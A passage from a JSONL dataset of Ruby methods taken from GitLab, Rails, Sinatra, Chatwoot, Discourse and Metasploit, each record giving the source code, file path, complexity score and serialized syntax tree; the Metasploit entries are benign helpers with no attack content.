end","complexity_score":10.23,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_int\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"io\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"int_raw\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"io\"]},\"read\",{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"int_raw\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"int_raw\"]},\"length\"]},\"==\",{\"type\":\"int\",\"children\":[4]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"int\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"int_raw\"]},\"unpack\",{\"type\":\"str\",\"children\":[\"l>\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"lvar\",\"children\":[\"int\"]}]}]}","id":"104c2c21-fab4-4a65-95e2-32d2e78ec0c2"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gem_extensions/active_record/delegate_cache.rb","start_line":10,"raw_source":"def initialize_relation_delegate_cache_disable_joins\n @relation_delegate_cache2 = {} # rubocop:disable Gitlab/ModuleWithInstanceVariables\n\n [\n ::GemExtensions::ActiveRecord::DisableJoins::Relation\n ].each do |klass|\n delegate = Class.new(klass) do\n include ::ActiveRecord::Delegation::ClassSpecificRelation\n end\n include_relation_methods(delegate)\n mangled_name = klass.name.gsub(\"::\", \"_\")\n const_set mangled_name, delegate\n private_constant mangled_name\n\n @relation_delegate_cache2[klass] = delegate # rubocop:disable Gitlab/ModuleWithInstanceVariables\n end\n end","complexity_score":17.8,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize_relation_delegate_cache_disable_joins\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@relation_delegate_cache2\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"GemExtensions\"]},\"ActiveRecord\"]},\"DisableJoins\"]},\"Relation\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"delegate\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"klass\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"include\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"ActiveRecord\"]},\"Delegation\"]},\"ClassSpecificRelation\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"include_relation_methods\",{\"type\":\"lvar\",\"children\":[\"delegate\"]}]},{\"type\":\"lvasgn\",\"children\":[\"mangled_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"name\"]},\"gsub\",{\"type\":\"str\",\"children\":[\"::\"]},{\"type\":\"str\",\"children\":[\"_\"]}]}]},{\"type\":\"send\",\"children\":[null,\"const_set\",{\"type\":\"lvar\",\"children\":[\"mangled_name\"]},{\"type\":\"lvar\",\"children\":[\"delegate\"]}]},{\"type\":\"send\",\"children\":[null,\"private_constant\",{\"type\":\"lvar\",\"children\":[\"mangled_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@relation_delegate_cache2\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"klass\"]},{\"type\":\"lvar\",\"children\":[\"delegate\"]}]}]}]}]}]}","id":"ee2162e5-ccb5-4fd1-b0ab-878823270422"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/keeps/generate_rubocop_todos.rb","start_line":67,"raw_source":"def prepare_change(change)\n change.title = TITLE\n change.description = DESCRIPTION\n change.labels = labels\n change.changed_files = [RUBOCOP_TODO_DIR]\n change.assignees = reviewer('trainee maintainer::backend') || reviewer('reviewer::backend')\n change.reviewers = reviewer('maintainer::backend')\n change\n end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"prepare_change\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"change\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"change\"]},\"title=\",{\"type\":\"const\",\"children\":[null,\"TITLE\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"change\"]},\"description=\",{\"type\":\"const\",\"children\":[null,\"DESCRIPTION\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"change\"]},\"labels=\",{\"type\":\"send\",\"children\":[null,\"labels\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"change\"]},\"changed_files=\",{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RUBOCOP_TODO_DIR\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"change\"]},\"assignees=\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reviewer\",{\"type\":\"str\",\"children\":[\"trainee maintainer::backend\"]}]},{\"type\":\"send\",\"children\":[null,\"reviewer\",{\"type\":\"str\",\"children\":[\"reviewer::backend\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"change\"]},\"reviewers=\",{\"type\":\"send\",\"children\":[null,\"reviewer\",{\"type\":\"str\",\"children\":[\"maintainer::backend\"]}]}]},{\"type\":\"lvar\",\"children\":[\"change\"]}]}]}","id":"d059860c-51ec-43a7-b83f-5fa4c2d6eb38"} {"repo_name":"sinatra","file_path":"./repos/sinatra/sinatra-contrib/spec/okjson.rb","start_line":421,"raw_source":"def objenc(x)\n '{' + x.map{|k,v| keyenc(k) + ':' + valenc(v)}.join(',') + '}'\n end","complexity_score":14.4,"ast_json":"{\"type\":\"def\",\"children\":[\"objenc\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"x\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"{\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"keyenc\",{\"type\":\"lvar\",\"children\":[\"k\"]}]},\"+\",{\"type\":\"str\",\"children\":[\":\"]}]},\"+\",{\"type\":\"send\",\"children\":[null,\"valenc\",{\"type\":\"lvar\",\"children\":[\"v\"]}]}]}]},\"join\",{\"type\":\"str\",\"children\":[\",\"]}]}]},\"+\",{\"type\":\"str\",\"children\":[\"}\"]}]}]}","id":"9236222d-ae64-451e-b37e-6b0be34e606c"} {"repo_name":"rails","file_path":"./repos/rails/activesupport/test/multibyte_chars_test.rb","start_line":63,"raw_source":"def test_forwarded_method_with_non_string_result_should_be_returned_verbatim\n str = +\"\"\n str.singleton_class.class_eval { def __method_for_multibyte_testing_with_integer_result; 1; end }\n @chars.wrapped_string.singleton_class.class_eval { def __method_for_multibyte_testing_with_integer_result; 1; end }\n\n assert_equal str.__method_for_multibyte_testing_with_integer_result, @chars.__method_for_multibyte_testing_with_integer_result\n end","complexity_score":21.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_forwarded_method_with_non_string_result_should_be_returned_verbatim\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"str\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]},\"+@\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"str\"]},\"singleton_class\"]},\"class_eval\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"def\",\"children\":[\"__method_for_multibyte_testing_with_integer_result\",{\"type\":\"args\",\"children\":[]},{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@chars\"]},\"wrapped_string\"]},\"singleton_class\"]},\"class_eval\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"def\",\"children\":[\"__method_for_multibyte_testing_with_integer_result\",{\"type\":\"args\",\"children\":[]},{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"str\"]},\"__method_for_multibyte_testing_with_integer_result\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@chars\"]},\"__method_for_multibyte_testing_with_integer_result\"]}]}]}]}","id":"7cffd3a1-9b67-4568-a162-3debba6cf2bc"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/apache_mod_cgi_bash_env.rb","start_line":141,"raw_source":"def marker\n @marker ||= Rex::Text.rand_text_alphanumeric(rand(42) + 1)\n end","complexity_score":5.35,"ast_json":"{\"type\":\"def\",\"children\":[\"marker\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@marker\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alphanumeric\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[42]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}","id":"b88ae238-72bf-4ad5-afc0-1fb668cd5b08"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/project/pipeline/show.rb","start_line":72,"raw_source":"def has_linked_pipeline?(title: nil)\n # If the pipeline page has loaded linked pipelines should appear, but it can take a little while,\n # especially on busier environments.\n retry_until(reload: true, message: 'Waiting for linked pipeline to appear') do\n title ? find_linked_pipeline_by_title(title) : has_element?('linked-pipeline-container')\n end\n end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"has_linked_pipeline?\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"title\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"retry_until\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reload\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"Waiting for linked pipeline to appear\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[null,\"find_linked_pipeline_by_title\",{\"type\":\"lvar\",\"children\":[\"title\"]}]},{\"type\":\"send\",\"children\":[null,\"has_element?\",{\"type\":\"str\",\"children\":[\"linked-pipeline-container\"]}]}]}]}]}","id":"b9679871-61c2-4171-b52b-698f9ebd7bb8"} {"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/whatsapp/facebook_api_client.rb","start_line":53,"raw_source":"def phone_number_verified?(phone_number_id)\n response = HTTParty.get(\n \"#{BASE_URI}/#{@api_version}/#{phone_number_id}\",\n headers: request_headers\n )\n\n data = handle_response(response, 'Phone status check failed')\n data['code_verification_status'] == 'VERIFIED'\n end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"phone_number_verified?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"phone_number_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HTTParty\"]},\"get\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BASE_URI\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@api_version\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"phone_number_id\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"send\",\"children\":[null,\"request_headers\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[null,\"handle_response\",{\"type\":\"lvar\",\"children\":[\"response\"]},{\"type\":\"str\",\"children\":[\"Phone status check failed\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"code_verification_status\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"VERIFIED\"]}]}]}]}","id":"fd11a1fe-ae39-4969-aaf6-9a482feb771b"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/projects/post_creation_worker.rb","start_line":22,"raw_source":"def create_incident_management_timeline_event_tags(project)\n tags = project.incident_management_timeline_event_tags.pluck_names\n predefined_tags = ::IncidentManagement::TimelineEventTag::PREDEFINED_TAGS\n\n predefined_tags.each do |tag|\n project.incident_management_timeline_event_tags.new(name: tag) unless tags.include?(tag)\n end\n\n project.save!\n rescue StandardError => e\n Gitlab::ErrorTracking.track_exception(e, extra: { project_id: project.id })\n end","complexity_score":18.7,"ast_json":"{\"type\":\"def\",\"children\":[\"create_incident_management_timeline_event_tags\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tags\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"incident_management_timeline_event_tags\"]},\"pluck_names\"]}]},{\"type\":\"lvasgn\",\"children\":[\"predefined_tags\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"IncidentManagement\"]},\"TimelineEventTag\"]},\"PREDEFINED_TAGS\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"predefined_tags\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tag\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tags\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"tag\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"incident_management_timeline_event_tags\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"tag\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"save!\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ErrorTracking\"]},\"track_exception\",{\"type\":\"lvar\",\"children\":[\"e\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"extra\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"id\"]}]}]}]}]}]}]},null]}]}","id":"2e00a9f4-42dc-4b90-a310-3e5f10e4c296"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/helpers.rb","start_line":585,"raw_source":"def service_unavailable!(message = nil)\n render_api_error!(message || '503 Service Unavailable', 503)\n end","complexity_score":3.5,"ast_json":"{\"type\":\"def\",\"children\":[\"service_unavailable!\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"message\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"render_api_error!\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"503 Service Unavailable\"]}]},{\"type\":\"int\",\"children\":[503]}]}]}","id":"403d01e6-6a86-44b4-845e-6e09d8149bab"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/http/gitlab/rest/v4/groups.rb","start_line":8,"raw_source":"def gitlab_create_group(group_name, api_token)\n res = send_request_cgi({\n 'method' => 'POST',\n 'uri' => normalize_uri(target_uri.path, '/api/v4/groups'),\n 'ctype' => 'application/json',\n 'headers' => {\n 'PRIVATE-TOKEN' => api_token\n },\n 'data' => {\n name: group_name, path: group_name, visibility: 'public'\n }.to_json\n })\n\n raise Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError.new message: 'Request timed out' unless res\n\n raise Msf::Exploit::Remote::HTTP::Gitlab::Error::GroupError, \"Unable to create group. Unexpected HTTP #{res.code} response.\" if res.code != 201\n\n group = JSON.parse(res.body)\n\n return group if group\n\n nil\n end","complexity_score":20.9,"ast_json":"{\"type\":\"def\",\"children\":[\"gitlab_create_group\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group_name\"]},{\"type\":\"arg\",\"children\":[\"api_token\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"/api/v4/groups\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ctype\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PRIVATE-TOKEN\"]},{\"type\":\"lvar\",\"children\":[\"api_token\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"group_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"group_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"visibility\"]},{\"type\":\"str\",\"children\":[\"public\"]}]}]},\"to_json\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"Remote\"]},\"HTTP\"]},\"Gitlab\"]},\"Error\"]},\"ClientError\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"Request timed out\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"!=\",{\"type\":\"int\",\"children\":[201]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"Remote\"]},\"HTTP\"]},\"Gitlab\"]},\"Error\"]},\"GroupError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unable to create group. Unexpected HTTP \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]}]},{\"type\":\"str\",\"children\":[\" response.\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"group\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]}]},null]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"90ab53af-d557-4cee-9619-42d30e88d713"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/requests/api/graphql/project/work_items_spec.rb","start_line":352,"raw_source":"def pagination_query(params)\n graphql_query_for(\n 'project',\n { 'fullPath' => project.full_path },\n query_graphql_field('workItems', params, \"#{page_info} nodes { id }\")\n )\n end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"pagination_query\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"send\",\"children\":[null,\"graphql_query_for\",{\"type\":\"str\",\"children\":[\"project\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"fullPath\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"full_path\"]}]}]},{\"type\":\"send\",\"children\":[null,\"query_graphql_field\",{\"type\":\"str\",\"children\":[\"workItems\"]},{\"type\":\"lvar\",\"children\":[\"params\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page_info\"]}]},{\"type\":\"str\",\"children\":[\" nodes { id }\"]}]}]}]}]}","id":"2211b403-754f-40d7-ba4a-6edaafa487a8"} {"repo_name":"discourse","file_path":"./repos/discourse/app/models/color_scheme.rb","start_line":312,"raw_source":"def self.base_color_scheme_colors\n base_with_hash = []\n\n base_colors.each { |name, color| base_with_hash << { name: name, hex: \"#{color}\" } }\n\n list = [\n { id: NAMES_TO_ID_MAP[LIGHT_PALETTE_NAME], name: LIGHT_PALETTE_NAME, colors: base_with_hash },\n ]\n\n BUILT_IN_SCHEMES.each do |k, v|\n colors = []\n v.each { |name, color| colors << { name: name, hex: \"#{color}\" } }\n list.push(id: NAMES_TO_ID_MAP[k.to_s], name: k.to_s, colors: colors)\n end\n\n list\n end","complexity_score":19.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"base_color_scheme_colors\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"base_with_hash\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"base_colors\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"color\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base_with_hash\"]},\"<<\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hex\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"color\"]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"list\",{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NAMES_TO_ID_MAP\"]},\"[]\",{\"type\":\"const\",\"children\":[null,\"LIGHT_PALETTE_NAME\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[null,\"LIGHT_PALETTE_NAME\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"colors\"]},{\"type\":\"lvar\",\"children\":[\"base_with_hash\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BUILT_IN_SCHEMES\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"colors\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"color\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"colors\"]},\"<<\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hex\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"color\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"list\"]},\"push\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NAMES_TO_ID_MAP\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]},\"to_s\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"colors\"]},{\"type\":\"lvar\",\"children\":[\"colors\"]}]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"list\"]}]}]}","id":"0091fcc9-a01b-4133-ab96-5a0fb41409a2"} {"repo_name":"sinatra","file_path":"./repos/sinatra/rack-protection/spec/support/not_implemented_as_pending.rb","start_line":5,"raw_source":"def self.included(base)\n base.class_eval do\n alias_method :__finish__, :finish\n remove_method :finish\n end\n 